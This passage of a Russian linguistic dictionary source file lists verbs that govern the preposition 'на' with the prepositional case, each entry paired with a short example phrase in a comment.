rus_verbs:застукать{}, // застукать на камбузе
rus_verbs:завязывать{}, // завязывать на ботинках
rus_verbs:повисать{}, // повисать на ветке
rus_verbs:подвизаться{}, // подвизаться на государственной службе
rus_verbs:кормиться{}, // кормиться на болоте
rus_verbs:покурить{}, // покурить на улице
rus_verbs:зимовать{}, // зимовать на болотах
rus_verbs:застегивать{}, // застегивать на гимнастерке
rus_verbs:поигрывать{}, // поигрывать на гитаре
rus_verbs:погореть{}, // погореть на махинациях с землей
rus_verbs:кувыркаться{}, // кувыркаться на батуте
rus_verbs:похрапывать{}, // похрапывать на диване
rus_verbs:пригревать{}, // пригревать на груди
rus_verbs:завязнуть{}, // завязнуть на болоте
rus_verbs:шастать{}, // шастать на втором этаже
rus_verbs:заночевать{}, // заночевать на сеновале
rus_verbs:отсиживаться{}, // отсиживаться на чердаке
rus_verbs:мчать{}, // мчать на байке
rus_verbs:сгнить{}, // сгнить на урановых рудниках
rus_verbs:тренировать{}, // тренировать на манекенах
rus_verbs:повеселиться{}, // повеселиться на празднике
rus_verbs:измучиться{}, // измучиться на болоте
rus_verbs:увянуть{}, // увянуть на подоконнике
rus_verbs:раскрутить{}, // раскрутить на оси
rus_verbs:выцвести{}, // выцвести на солнечном свету
rus_verbs:изготовлять{}, // изготовлять на коленке
rus_verbs:гнездиться{}, // гнездиться на вершине дерева
rus_verbs:разогнаться{}, // разогнаться на мотоцикле
rus_verbs:излагаться{}, // излагаться на страницах доклада
rus_verbs:сконцентрировать{}, // сконцентрировать на левом фланге
rus_verbs:расчесать{}, // расчесать на макушке
rus_verbs:плавиться{}, // плавиться на солнце
rus_verbs:редактировать{}, // редактировать на ноутбуке
rus_verbs:подскакивать{}, // подскакивать на месте
rus_verbs:покупаться{}, // покупаться на рынке
rus_verbs:промышлять{}, // промышлять на мелководье
rus_verbs:приобретаться{}, // приобретаться на распродажах
rus_verbs:наигрывать{}, // наигрывать на банджо
rus_verbs:маневрировать{}, // маневрировать на флангах
rus_verbs:запечатлеться{}, // запечатлеться на записях камер
rus_verbs:укрывать{}, // укрывать на чердаке
rus_verbs:подорваться{}, // подорваться на фугасе
rus_verbs:закрепиться{}, // закрепиться на занятых позициях
rus_verbs:громыхать{}, // громыхать на кухне
инфинитив:подвигаться{ вид:соверш }, глагол:подвигаться{ вид:соверш }, // подвигаться на полу
деепричастие:подвигавшись{},
rus_verbs:добываться{}, // добываться на территории Анголы
rus_verbs:приплясывать{}, // приплясывать на сцене
rus_verbs:доживать{}, // доживать на больничной койке
rus_verbs:отпраздновать{}, // отпраздновать на работе
rus_verbs:сгубить{}, // сгубить на корню
rus_verbs:схоронить{}, // схоронить на кладбище
rus_verbs:тускнеть{}, // тускнеть на солнце
rus_verbs:скопить{}, // скопить на счету
rus_verbs:помыть{}, // помыть на своем этаже
rus_verbs:пороть{}, // пороть на конюшне
rus_verbs:наличествовать{}, // наличествовать на складе
rus_verbs:нащупывать{}, // нащупывать на полке
rus_verbs:змеиться{}, // змеиться на дне
rus_verbs:пожелтеть{}, // пожелтеть на солнце
rus_verbs:заостриться{}, // заостриться на конце
rus_verbs:свезти{}, // свезти на поле
rus_verbs:прочувствовать{}, // прочувствовать на своей шкуре
rus_verbs:подкрутить{}, // подкрутить на приборной панели
rus_verbs:рубиться{}, // рубиться на мечах
rus_verbs:сиживать{}, // сиживать на крыльце
rus_verbs:тараторить{}, // тараторить на иностранном языке
rus_verbs:теплеть{}, // теплеть на сердце
rus_verbs:покачаться{}, // покачаться на ветке
rus_verbs:сосредоточиваться{}, // сосредоточиваться на главной задаче
rus_verbs:развязывать{}, // развязывать на ботинках
rus_verbs:подвозить{}, // подвозить на мотороллере
rus_verbs:вышивать{}, // вышивать на рубашке
rus_verbs:скупать{}, // скупать на открытом рынке
rus_verbs:оформлять{}, // оформлять на встрече
rus_verbs:распускаться{}, // распускаться на клумбах
rus_verbs:прогореть{}, // прогореть на спекуляциях
rus_verbs:приползти{}, // приползти на коленях
rus_verbs:загореть{}, // загореть на пляже
rus_verbs:остудить{}, // остудить на балконе
rus_verbs:нарвать{}, // нарвать на поляне
rus_verbs:издохнуть{}, // издохнуть на болоте
rus_verbs:разгружать{}, // разгружать на дороге
rus_verbs:произрастать{}, // произрастать на болотах
rus_verbs:разуться{}, // разуться на коврике
rus_verbs:сооружать{}, // сооружать на площади
rus_verbs:зачитывать{}, // зачитывать на митинге
rus_verbs:уместиться{}, // уместиться на ладони
rus_verbs:закупить{}, // закупить на рынке
rus_verbs:горланить{}, // горланить на улице
rus_verbs:экономить{}, // экономить на спичках
rus_verbs:исправлять{}, // исправлять на доске
rus_verbs:расслабляться{}, // расслабляться на лежаке
rus_verbs:скапливаться{}, // скапливаться на крыше
rus_verbs:сплетничать{}, // сплетничать на скамеечке
rus_verbs:отъезжать{}, // отъезжать на лимузине
rus_verbs:отчитывать{}, // отчитывать на собрании
rus_verbs:сфокусировать{}, // сфокусировать на удаленной точке
rus_verbs:потчевать{}, // потчевать на лаврах
rus_verbs:окопаться{}, // окопаться на окраине
rus_verbs:загорать{}, // загорать на пляже
rus_verbs:обгореть{}, // обгореть на солнце
rus_verbs:распознавать{}, // распознавать на фотографии
rus_verbs:заплетаться{}, // заплетаться на макушке
rus_verbs:перегреться{}, // перегреться на жаре
rus_verbs:подметать{}, // подметать на крыльце
rus_verbs:нарисоваться{}, // нарисоваться на горизонте
rus_verbs:проскакивать{}, // проскакивать на экране
rus_verbs:попивать{}, // попивать на балконе чай
rus_verbs:отплывать{}, // отплывать на лодке
rus_verbs:чирикать{}, // чирикать на ветках
rus_verbs:скупить{}, // скупить на оптовых базах
rus_verbs:наколоть{}, // наколоть на коже картинку
rus_verbs:созревать{}, // созревать на ветке
rus_verbs:проколоться{}, // проколоться на мелочи
rus_verbs:крутнуться{}, // крутнуться на заднем колесе
rus_verbs:переночевать{}, // переночевать на постоялом дворе
rus_verbs:концентрироваться{}, // концентрироваться на фильтре
rus_verbs:одичать{}, // одичать на хуторе
rus_verbs:спасаться{}, // спасаются на лодке
rus_verbs:доказываться{}, // доказываться на страницах книги
rus_verbs:познаваться{}, // познаваться на ринге
rus_verbs:замыкаться{}, // замыкаться на металлическом предмете
rus_verbs:заприметить{}, // заприметить на пригорке
rus_verbs:продержать{}, // продержать на морозе
rus_verbs:форсировать{}, // форсировать на плотах
rus_verbs:сохнуть{}, // сохнуть на солнце
rus_verbs:выявить{}, // выявить на поверхности
rus_verbs:заседать{}, // заседать на кафедре
rus_verbs:расплачиваться{}, // расплачиваться на выходе
rus_verbs:светлеть{}, // светлеть на горизонте
rus_verbs:залепетать{}, // залепетать на незнакомом языке
rus_verbs:подсчитывать{}, // подсчитывать на пальцах
rus_verbs:зарыть{}, // зарыть на пустыре
rus_verbs:сформироваться{}, // сформироваться на месте
rus_verbs:развертываться{}, // развертываться на площадке
rus_verbs:набивать{}, // набивать на манекенах
rus_verbs:замерзать{}, // замерзать на ветру
rus_verbs:схватывать{}, // схватывать на лету
rus_verbs:перевестись{}, // перевестись на Руси
rus_verbs:смешивать{}, // смешивать на блюдце
rus_verbs:прождать{}, // прождать на входе
rus_verbs:мерзнуть{}, // мерзнуть на ветру
rus_verbs:растирать{}, // растирать на коже
rus_verbs:переспать{}, // переспал на сеновале
rus_verbs:рассекать{}, // рассекать на скутере
rus_verbs:опровергнуть{}, // опровергнуть на высшем уровне
rus_verbs:дрыхнуть{}, // дрыхнуть на диване
rus_verbs:распять{}, // распять на кресте
rus_verbs:запечься{}, // запечься на костре
rus_verbs:застилать{}, // застилать на балконе
rus_verbs:сыскаться{}, // сыскаться на огороде
rus_verbs:разориться{}, // разориться на продаже спичек
rus_verbs:переделать{}, // переделать на станке
rus_verbs:разъяснять{}, // разъяснять на страницах газеты
rus_verbs:поседеть{}, // поседеть на висках
rus_verbs:протащить{}, // протащить на спине
rus_verbs:осуществиться{}, // осуществиться на деле
rus_verbs:селиться{}, // селиться на окраине
rus_verbs:оплачивать{}, // оплачивать на первой кассе
rus_verbs:переворачивать{}, // переворачивать на сковородке
rus_verbs:упражняться{}, // упражняться на батуте
rus_verbs:испробовать{}, // испробовать на себе
rus_verbs:разгладиться{}, // разгладиться на спине
rus_verbs:рисоваться{}, // рисоваться на стекле
rus_verbs:продрогнуть{}, // продрогнуть на морозе
rus_verbs:пометить{}, // пометить на доске
rus_verbs:приютить{}, // приютить на чердаке
rus_verbs:избирать{}, // избирать на первых свободных выборах
rus_verbs:затеваться{}, // затеваться на матче
rus_verbs:уплывать{}, // уплывать на катере
rus_verbs:замерцать{}, // замерцать на рекламном щите
rus_verbs:фиксироваться{}, // фиксироваться на достигнутом уровне
rus_verbs:запираться{}, // запираться на чердаке
rus_verbs:загубить{}, // загубить на корню
rus_verbs:развеяться{}, // развеяться на природе
rus_verbs:съезжаться{}, // съезжаться на лимузинах
rus_verbs:потанцевать{}, // потанцевать на могиле
rus_verbs:дохнуть{}, // дохнуть на солнце
rus_verbs:припарковаться{}, // припарковаться на газоне
rus_verbs:отхватить{}, // отхватить на распродаже
rus_verbs:остывать{}, // остывать на улице
rus_verbs:переваривать{}, // переваривать на высокой ветке
rus_verbs:подвесить{}, // подвесить на веревке
rus_verbs:хвастать{}, // хвастать на работе
rus_verbs:отрабатывать{}, // отрабатывать на уборке урожая
rus_verbs:разлечься{}, // разлечься на полу
rus_verbs:очертить{}, // очертить на полу
rus_verbs:председательствовать{}, // председательствовать на собрании
rus_verbs:сконфузиться{}, // сконфузиться на сцене
rus_verbs:выявляться{}, // выявляться на ринге
rus_verbs:крутануться{}, // крутануться на заднем колесе
rus_verbs:караулить{}, // караулить на входе
rus_verbs:перечислять{}, // перечислять на пальцах
rus_verbs:обрабатывать{}, // обрабатывать на станке
rus_verbs:настигать{}, // настигать на берегу
rus_verbs:разгуливать{}, // разгуливать на берегу
rus_verbs:насиловать{}, // насиловать на пляже
rus_verbs:поредеть{}, // поредеть на макушке
rus_verbs:учитывать{}, // учитывать на балансе
rus_verbs:зарождаться{}, // зарождаться на большой глубине
rus_verbs:распространять{}, // распространять на сайтах
rus_verbs:пировать{}, // пировать на вершине холма
rus_verbs:начертать{}, // начертать на стене
rus_verbs:расцветать{}, // расцветать на подоконнике
rus_verbs:умнеть{}, // умнеть на глазах
rus_verbs:царствовать{}, // царствовать на окраине
rus_verbs:закрутиться{}, // закрутиться на работе
rus_verbs:отработать{}, // отработать на шахте
rus_verbs:полечь{}, // полечь на поле брани
rus_verbs:щебетать{}, // щебетать на ветке
rus_verbs:подчеркиваться{}, // подчеркиваться на сайте
rus_verbs:посеять{}, // посеять на другом поле
rus_verbs:замечаться{}, // замечаться на пастбище
rus_verbs:просчитать{}, // просчитать на пальцах
rus_verbs:голосовать{}, // голосовать на трассе
rus_verbs:маяться{}, // маяться на пляже
rus_verbs:сколотить{}, // сколотить на службе
rus_verbs:обретаться{}, // обретаться на чужбине
rus_verbs:обливаться{}, // обливаться на улице
rus_verbs:катать{}, // катать на лошадке
rus_verbs:припрятать{}, // припрятать на теле
rus_verbs:запаниковать{}, // запаниковать на экзамене
инфинитив:слетать{ вид:соверш }, глагол:слетать{ вид:соверш }, // слетать на частном самолете
деепричастие:слетав{},
rus_verbs:срубить{}, // срубить денег на спекуляциях
rus_verbs:зажигаться{}, // зажигаться на улице
rus_verbs:жарить{}, // жарить на углях
rus_verbs:накапливаться{}, // накапливаться на счету
rus_verbs:распуститься{}, // распуститься на грядке
rus_verbs:рассаживаться{}, // рассаживаться на местах
rus_verbs:странствовать{}, // странствовать на лошади
rus_verbs:осматриваться{}, // осматриваться на месте
rus_verbs:разворачивать{}, // разворачивать на завоеванной территории
rus_verbs:согревать{}, // согревать на вершине горы
rus_verbs:заскучать{}, // заскучать на вахте
rus_verbs:перекусить{}, // перекусить на бегу
rus_verbs:приплыть{}, // приплыть на тримаране
rus_verbs:зажигать{}, // зажигать на танцах
rus_verbs:закопать{}, // закопать на поляне
rus_verbs:стирать{}, // стирать на берегу
rus_verbs:подстерегать{}, // подстерегать на подходе
rus_verbs:погулять{}, // погулять на свадьбе
rus_verbs:огласить{}, // огласить на митинге
rus_verbs:разбогатеть{}, // разбогатеть на прииске
rus_verbs:грохотать{}, // грохотать на чердаке
rus_verbs:расположить{}, // расположить на границе
rus_verbs:реализоваться{}, // реализоваться на новой работе
rus_verbs:застывать{}, // застывать на морозе
rus_verbs:запечатлеть{}, // запечатлеть на пленке
rus_verbs:тренироваться{}, // тренироваться на манекене
rus_verbs:поспорить{}, // поспорить на совещании
rus_verbs:затягивать{}, // затягивать на поясе
rus_verbs:зиждиться{}, // зиждиться на твердой основе
rus_verbs:построиться{}, // построиться на песке
rus_verbs:надрываться{}, // надрываться на работе
rus_verbs:закипать{}, // закипать на плите
rus_verbs:затонуть{}, // затонуть на мелководье
rus_verbs:побыть{}, // побыть на фазенде
rus_verbs:сгорать{}, // сгорать на солнце
инфинитив:пописать{ aux stress="поп^исать" }, глагол:пописать{ aux stress="поп^исать" }, // пописать на улице
деепричастие:пописав{ aux stress="поп^исав" },
rus_verbs:подраться{}, // подраться на сцене
rus_verbs:заправить{}, // заправить на последней заправке
rus_verbs:обозначаться{}, // обозначаться на карте
rus_verbs:просиживать{}, // просиживать на берегу
rus_verbs:начертить{}, // начертить на листке
rus_verbs:тормозить{}, // тормозить на льду
rus_verbs:затевать{}, // затевать на космической базе
rus_verbs:задерживать{}, // задерживать на таможне
rus_verbs:прилетать{}, // прилетать на частном самолете
rus_verbs:полулежать{}, // полулежать на травке
rus_verbs:ерзать{}, // ерзать на табуретке
rus_verbs:покопаться{}, // покопаться на складе
rus_verbs:подвезти{}, // подвезти на машине
rus_verbs:полежать{}, // полежать на водном матрасе
rus_verbs:стыть{}, // стыть на улице
rus_verbs:стынуть{}, // стынуть на улице
rus_verbs:скреститься{}, // скреститься на груди
rus_verbs:припарковать{}, // припарковать на стоянке
rus_verbs:здороваться{}, // здороваться на кафедре
rus_verbs:нацарапать{}, // нацарапать на парте
rus_verbs:откопать{}, // откопать на поляне
rus_verbs:смастерить{}, // смастерить на коленках
rus_verbs:довезти{}, // довезти на машине
rus_verbs:избивать{}, // избивать на крыше
rus_verbs:сварить{}, // сварить на костре
rus_verbs:истребить{}, // истребить на корню
rus_verbs:раскопать{}, // раскопать на болоте
rus_verbs:попить{}, // попить на кухне
rus_verbs:заправлять{}, // заправлять на базе
rus_verbs:кушать{}, // кушать на кухне
rus_verbs:замолкать{}, // замолкать на половине фразы
rus_verbs:измеряться{}, // измеряться на весах
rus_verbs:сбываться{}, // сбываться на самом деле
rus_verbs:изображаться{}, // изображается на сцене
rus_verbs:фиксировать{}, // фиксировать на данной высоте
rus_verbs:ослаблять{}, // ослаблять на шее
rus_verbs:зреть{}, // зреть на грядке
rus_verbs:зеленеть{}, // зеленеть на грядке
rus_verbs:критиковать{}, // критиковать на страницах газеты
rus_verbs:облететь{}, // облететь на самолете
rus_verbs:заразиться{}, // заразиться на работе
rus_verbs:рассеять{}, // рассеять на территории
rus_verbs:печься{}, // печься на костре
rus_verbs:поспать{}, // поспать на земле
rus_verbs:сплетаться{}, // сплетаться на макушке
rus_verbs:удерживаться{}, // удерживаться на расстоянии
rus_verbs:помешаться{}, // помешаться на чистоте
rus_verbs:ликвидировать{}, // ликвидировать на полигоне
rus_verbs:проваляться{}, // проваляться на диване
rus_verbs:лечиться{}, // лечиться на дому
rus_verbs:обработать{}, // обработать на станке
rus_verbs:защелкнуть{}, // защелкнуть на руках
rus_verbs:разносить{}, // разносить на одежде
rus_verbs:чесать{}, // чесать на груди
rus_verbs:наладить{}, // наладить на конвейере выпуск
rus_verbs:отряхнуться{}, // отряхнуться на улице
rus_verbs:разыгрываться{}, // разыгрываться на скачках
rus_verbs:обеспечиваться{}, // обеспечиваться на выгодных условиях
rus_verbs:греться{}, // греться на вокзале
rus_verbs:засидеться{}, // засидеться на одном месте
rus_verbs:материализоваться{}, // материализоваться на границе
rus_verbs:рассеиваться{}, // рассеиваться на высоте вершин
rus_verbs:перевозить{}, // перевозить на платформе
rus_verbs:поиграть{}, // поиграть на скрипке
rus_verbs:потоптаться{}, // потоптаться на одном месте
rus_verbs:переправиться{}, // переправиться на плоту
rus_verbs:забрезжить{}, // забрезжить на горизонте
rus_verbs:завывать{}, // завывать на опушке
rus_verbs:заваривать{}, // заваривать на кухоньке
rus_verbs:перемещаться{}, // перемещаться на спасательном плоту
инфинитив:писаться{ aux stress="пис^аться" }, глагол:писаться{ aux stress="пис^аться" }, // писаться на бланке
rus_verbs:праздновать{}, // праздновать на улицах
rus_verbs:обучить{}, // обучить на корте
rus_verbs:орудовать{}, // орудовать на складе
rus_verbs:подрасти{}, // подрасти на глядке
rus_verbs:шелестеть{}, // шелестеть на ветру
rus_verbs:раздеваться{}, // раздеваться на публике
rus_verbs:пообедать{}, // пообедать на газоне
rus_verbs:жрать{}, // жрать на помойке
rus_verbs:исполняться{}, // исполняться на флейте
rus_verbs:похолодать{}, // похолодать на улице
rus_verbs:гнить{}, // гнить на каторге
rus_verbs:прослушать{}, // прослушать на концерте
rus_verbs:совещаться{}, // совещаться на заседании
rus_verbs:покачивать{}, // покачивать на волнах
rus_verbs:отсидеть{}, // отсидеть на гаупвахте
rus_verbs:формировать{}, // формировать на секретной базе
rus_verbs:захрапеть{}, // захрапеть на кровати
rus_verbs:объехать{}, // объехать на попутке
rus_verbs:поселить{}, // поселить на верхних этажах
rus_verbs:заворочаться{}, // заворочаться на сене
rus_verbs:напрятать{}, // напрятать на теле
rus_verbs:очухаться{}, // очухаться на земле
rus_verbs:полистать{}, // полистать на досуге
rus_verbs:завертеть{}, // завертеть на шесте
rus_verbs:печатать{}, // печатать на ноуте
rus_verbs:отыскаться{}, // отыскаться на складе
rus_verbs:зафиксировать{}, // зафиксировать на пленке
rus_verbs:расстилаться{}, // расстилаться на столе
rus_verbs:заместить{}, // заместить на посту
rus_verbs:угасать{}, // угасать на неуправляемом корабле
rus_verbs:сразить{}, // сразить на ринге
rus_verbs:расплываться{}, // расплываться на жаре
rus_verbs:сосчитать{}, // сосчитать на пальцах
rus_verbs:сгуститься{}, // сгуститься на небольшой высоте
rus_verbs:цитировать{}, // цитировать на плите
rus_verbs:ориентироваться{}, // ориентироваться на местности
rus_verbs:расширить{}, // расширить на другом конце
rus_verbs:обтереть{}, // обтереть на стоянке
rus_verbs:подстрелить{}, // подстрелить на охоте
rus_verbs:растереть{}, // растереть на твердой поверхности
rus_verbs:подавлять{}, // подавлять на первом этапе
rus_verbs:смешиваться{}, // смешиваться на поверхности
// инфинитив:вычитать{ aux stress="в^ычитать" }, глагол:вычитать{ aux stress="в^ычитать" }, // вычитать на сайте
// деепричастие:вычитав{},
rus_verbs:сократиться{}, // сократиться на втором этапе
rus_verbs:занервничать{}, // занервничать на экзамене
rus_verbs:соприкоснуться{}, // соприкоснуться на трассе
rus_verbs:обозначить{}, // обозначить на плане
rus_verbs:обучаться{}, // обучаться на производстве
rus_verbs:снизиться{}, // снизиться на большой высоте
rus_verbs:простудиться{}, // простудиться на ветру
rus_verbs:поддерживаться{}, // поддерживается на встрече
rus_verbs:уплыть{}, // уплыть на лодочке
rus_verbs:резвиться{}, // резвиться на песочке
rus_verbs:поерзать{}, // поерзать на скамеечке
rus_verbs:похвастаться{}, // похвастаться на встрече
rus_verbs:знакомиться{}, // знакомиться на уроке
rus_verbs:проплывать{}, // проплывать на катере
rus_verbs:засесть{}, // засесть на чердаке
rus_verbs:подцепить{}, // подцепить на дискотеке
rus_verbs:обыскать{}, // обыскать на входе
rus_verbs:оправдаться{}, // оправдаться на суде
rus_verbs:раскрываться{}, // раскрываться на сцене
rus_verbs:одеваться{}, // одеваться на вещевом рынке
rus_verbs:засветиться{}, // засветиться на фотографиях
rus_verbs:употребляться{}, // употребляться на птицефабриках
rus_verbs:грабить{}, // грабить на пустыре
rus_verbs:гонять{}, // гонять на повышенных оборотах
rus_verbs:развеваться{}, // развеваться на древке
rus_verbs:основываться{}, // основываться на безусловных фактах
rus_verbs:допрашивать{}, // допрашивать на базе
rus_verbs:проработать{}, // проработать на стройке
rus_verbs:сосредоточить{}, // сосредоточить на месте
rus_verbs:сочинять{}, // сочинять на ходу
rus_verbs:ползать{}, // ползать на камне
rus_verbs:раскинуться{}, // раскинуться на пустыре
rus_verbs:уставать{}, // уставать на работе
rus_verbs:укрепить{}, // укрепить на конце
rus_verbs:образовывать{}, // образовывать на открытом воздухе взрывоопасную смесь
rus_verbs:одобрять{}, // одобрять на словах
rus_verbs:приговорить{}, // приговорить на заседании тройки
rus_verbs:чернеть{}, // чернеть на свету
rus_verbs:гнуть{}, // гнуть на станке
rus_verbs:размещаться{}, // размещаться на бирже
rus_verbs:соорудить{}, // соорудить на даче
rus_verbs:пастись{}, // пастись на лугу
rus_verbs:формироваться{}, // формироваться на дне
rus_verbs:таить{}, // таить на дне
rus_verbs:приостановиться{}, // приостановиться на середине
rus_verbs:топтаться{}, // топтаться на месте
rus_verbs:громить{}, // громить на подступах
rus_verbs:вычислить{}, // вычислить на бумажке
rus_verbs:заказывать{}, // заказывать на сайте
rus_verbs:осуществить{}, // осуществить на практике
rus_verbs:обосноваться{}, // обосноваться на верхушке
rus_verbs:пытать{}, // пытать на электрическом стуле
rus_verbs:совершиться{}, // совершиться на заседании
rus_verbs:свернуться{}, // свернуться на медленном огне
rus_verbs:пролетать{}, // пролетать на дельтаплане
rus_verbs:сбыться{}, // сбыться на самом деле
rus_verbs:разговориться{}, // разговориться на уроке
rus_verbs:разворачиваться{}, // разворачиваться на перекрестке
rus_verbs:преподнести{}, // преподнести на блюдечке
rus_verbs:напечатать{}, // напечатать на лазернике
rus_verbs:прорвать{}, // прорвать на периферии
rus_verbs:раскачиваться{}, // раскачиваться на доске
rus_verbs:задерживаться{}, // задерживаться на старте
rus_verbs:угощать{}, // угощать на вечеринке
rus_verbs:шарить{}, // шарить на столе
rus_verbs:увеличивать{}, // увеличивать на первом этапе
rus_verbs:рехнуться{}, // рехнуться на старости лет
rus_verbs:расцвести{}, // расцвести на грядке
rus_verbs:закипеть{}, // закипеть на плите
rus_verbs:подлететь{}, // подлететь на параплане
rus_verbs:рыться{}, // рыться на свалке
rus_verbs:добираться{}, // добираться на попутках
rus_verbs:продержаться{}, // продержаться на вершине
rus_verbs:разыскивать{}, // разыскивать на выставках
rus_verbs:освобождать{}, // освобождать на заседании
rus_verbs:передвигаться{}, // передвигаться на самокате
rus_verbs:проявиться{}, // проявиться на свету
rus_verbs:заскользить{}, // заскользить на льду
rus_verbs:пересказать{}, // пересказать на сцене студенческого театра
rus_verbs:протестовать{}, // протестовать на улице
rus_verbs:указываться{}, // указываться на табличках
rus_verbs:прискакать{}, // прискакать на лошадке
rus_verbs:копошиться{}, // копошиться на свежем воздухе
rus_verbs:подсчитать{}, // подсчитать на бумажке
rus_verbs:разволноваться{}, // разволноваться на экзамене
rus_verbs:завертеться{}, // завертеться на полу
rus_verbs:ознакомиться{}, // ознакомиться на ходу
rus_verbs:ржать{}, // ржать на уроке
rus_verbs:раскинуть{}, // раскинуть на грядках
rus_verbs:разгромить{}, // разгромить на ринге
rus_verbs:подслушать{}, // подслушать на совещании
rus_verbs:описываться{}, // описываться на страницах книги
rus_verbs:качаться{}, // качаться на стуле
rus_verbs:усилить{}, // усилить на флангах
rus_verbs:набросать{}, // набросать на клочке картона
rus_verbs:расстреливать{}, // расстреливать на подходе
rus_verbs:запрыгать{}, // запрыгать на одной ноге
rus_verbs:сыскать{}, // сыскать на чужбине
rus_verbs:подтвердиться{}, // подтвердиться на практике
rus_verbs:плескаться{}, // плескаться на мелководье
rus_verbs:расширяться{}, // расширяться на конце
rus_verbs:подержать{}, // подержать на солнце
rus_verbs:планироваться{}, // планироваться на общем собрании
rus_verbs:сгинуть{}, // сгинуть на чужбине
rus_verbs:замкнуться{}, // замкнуться на точке
rus_verbs:закачаться{}, // закачаться на ветру
rus_verbs:перечитывать{}, // перечитывать на ходу
rus_verbs:перелететь{}, // перелететь на дельтаплане
rus_verbs:оживать{}, // оживать на солнце
rus_verbs:женить{}, // женить на богатой невесте
rus_verbs:заглохнуть{}, // заглохнуть на старте
rus_verbs:копаться{}, // копаться на полу
rus_verbs:развлекаться{}, // развлекаться на дискотеке
rus_verbs:печататься{}, // печататься на струйном принтере
rus_verbs:обрываться{}, // обрываться на полуслове
rus_verbs:ускакать{}, // ускакать на лошадке
rus_verbs:подписывать{}, // подписывать на столе
rus_verbs:добывать{}, // добывать на выработке
rus_verbs:скопиться{}, // скопиться на выходе
rus_verbs:повстречать{}, // повстречать на пути
rus_verbs:поцеловаться{}, // поцеловаться на площади
rus_verbs:растянуть{}, // растянуть на столе
rus_verbs:подаваться{}, // подаваться на благотворительном обеде
rus_verbs:повстречаться{}, // повстречаться на митинге
rus_verbs:примоститься{}, // примоститься на ступеньках
rus_verbs:отразить{}, // отразить на страницах доклада
rus_verbs:пояснять{}, // пояснять на страницах приложения
rus_verbs:накормить{}, // накормить на кухне
rus_verbs:поужинать{}, // поужинать на веранде
инфинитив:спеть{ вид:соверш }, глагол:спеть{ вид:соверш }, // спеть на митинге
деепричастие:спев{},
инфинитив:спеть{ вид:несоверш }, глагол:спеть{ вид:несоверш },
rus_verbs:топить{}, // топить на мелководье
rus_verbs:освоить{}, // освоить на практике
rus_verbs:распластаться{}, // распластаться на травке
rus_verbs:отплыть{}, // отплыть на старом каяке
rus_verbs:улетать{}, // улетать на любом самолете
rus_verbs:отстаивать{}, // отстаивать на корте
rus_verbs:осуждать{}, // осуждать на словах
rus_verbs:переговорить{}, // переговорить на обеде
rus_verbs:укрыть{}, // укрыть на чердаке
rus_verbs:томиться{}, // томиться на привязи
rus_verbs:сжигать{}, // сжигать на полигоне
rus_verbs:позавтракать{}, // позавтракать на лоне природы
rus_verbs:функционировать{}, // функционирует на солнечной энергии
rus_verbs:разместить{}, // разместить на сайте
rus_verbs:пронести{}, // пронести на теле
rus_verbs:нашарить{}, // нашарить на столе
rus_verbs:корчиться{}, // корчиться на полу
rus_verbs:распознать{}, // распознать на снимке
rus_verbs:повеситься{}, // повеситься на шнуре
rus_verbs:обозначиться{}, // обозначиться на картах
rus_verbs:оступиться{}, // оступиться на скользком льду
rus_verbs:подносить{}, // подносить на блюдечке
rus_verbs:расстелить{}, // расстелить на газоне
rus_verbs:обсуждаться{}, // обсуждаться на собрании
rus_verbs:расписаться{}, // расписаться на бланке
rus_verbs:плестись{}, // плестись на привязи
rus_verbs:объявиться{}, // объявиться на сцене
rus_verbs:повышаться{}, // повышаться на первом датчике
rus_verbs:разрабатывать{}, // разрабатывать на заводе
rus_verbs:прерывать{}, // прерывать на середине
rus_verbs:каяться{}, // каяться на публике
rus_verbs:освоиться{}, // освоиться на лошади
rus_verbs:подплыть{}, // подплыть на плоту
rus_verbs:оскорбить{}, // оскорбить на митинге
rus_verbs:торжествовать{}, // торжествовать на пьедестале
rus_verbs:поправлять{}, // поправлять на одежде
rus_verbs:отражать{}, // отражать на картине
rus_verbs:дремать{}, // дремать на кушетке
rus_verbs:применяться{}, // применяться на производстве стали
rus_verbs:поражать{}, // поражать на большой дистанции
rus_verbs:расстрелять{}, // расстрелять на окраине хутора
rus_verbs:рассчитать{}, // рассчитать на калькуляторе
rus_verbs:записывать{}, // записывать на ленте
rus_verbs:перебирать{}, // перебирать на ладони
rus_verbs:разбиться{}, // разбиться на катере
rus_verbs:поискать{}, // поискать на ферме
rus_verbs:прятать{}, // прятать на заброшенном складе
rus_verbs:пропеть{}, // пропеть на эстраде
rus_verbs:замелькать{}, // замелькать на экране
rus_verbs:грустить{}, // грустить на веранде
rus_verbs:крутить{}, // крутить на оси
rus_verbs:подготовить{}, // подготовить на конспиративной квартире
rus_verbs:различать{}, // различать на картинке
rus_verbs:киснуть{}, // киснуть на чужбине
rus_verbs:оборваться{}, // оборваться на полуслове
rus_verbs:запутаться{}, // запутаться на простейшем тесте
rus_verbs:общаться{}, // общаться на уроке
rus_verbs:производиться{}, // производиться на фабрике
rus_verbs:сочинить{}, // сочинить на досуге
rus_verbs:давить{}, // давить на лице
rus_verbs:разработать{}, // разработать на секретном предприятии
rus_verbs:качать{}, // качать на качелях
rus_verbs:тушить{}, // тушить на крыше пожар
rus_verbs:охранять{}, // охранять на территории базы
rus_verbs:приметить{}, // приметить на взгорке
rus_verbs:скрыть{}, // скрыть на теле
rus_verbs:удерживать{}, // удерживать на руке
rus_verbs:усвоить{}, // усвоить на уроке
rus_verbs:растаять{}, // растаять на солнечной стороне
rus_verbs:красоваться{}, // красоваться на виду
rus_verbs:сохраняться{}, // сохраняться на холоде
rus_verbs:лечить{}, // лечить на дому
rus_verbs:прокатиться{}, // прокатиться на уницикле
rus_verbs:договариваться{}, // договариваться на нейтральной территории
rus_verbs:качнуться{}, // качнуться на одной ноге
rus_verbs:опубликовать{}, // опубликовать на сайте
rus_verbs:отражаться{}, // отражаться на поверхности воды
rus_verbs:обедать{}, // обедать на веранде
rus_verbs:посидеть{}, // посидеть на лавочке
rus_verbs:сообщаться{}, // сообщаться на официальном сайте
rus_verbs:свершиться{}, // свершиться на заседании
rus_verbs:ночевать{}, // ночевать на даче
rus_verbs:темнеть{}, // темнеть на свету
rus_verbs:гибнуть{}, // гибнуть на территории полигона
rus_verbs:усиливаться{}, // усиливаться на территории округа
rus_verbs:проживать{}, // проживать на даче
rus_verbs:исследовать{}, // исследовать на большой глубине
rus_verbs:обитать{}, // обитать на громадной глубине
rus_verbs:сталкиваться{}, // сталкиваться на большой высоте
rus_verbs:таиться{}, // таиться на большой глубине
rus_verbs:спасать{}, // спасать на пожаре
rus_verbs:сказываться{}, // сказываться на общем результате
rus_verbs:заблудиться{}, // заблудиться на стройке
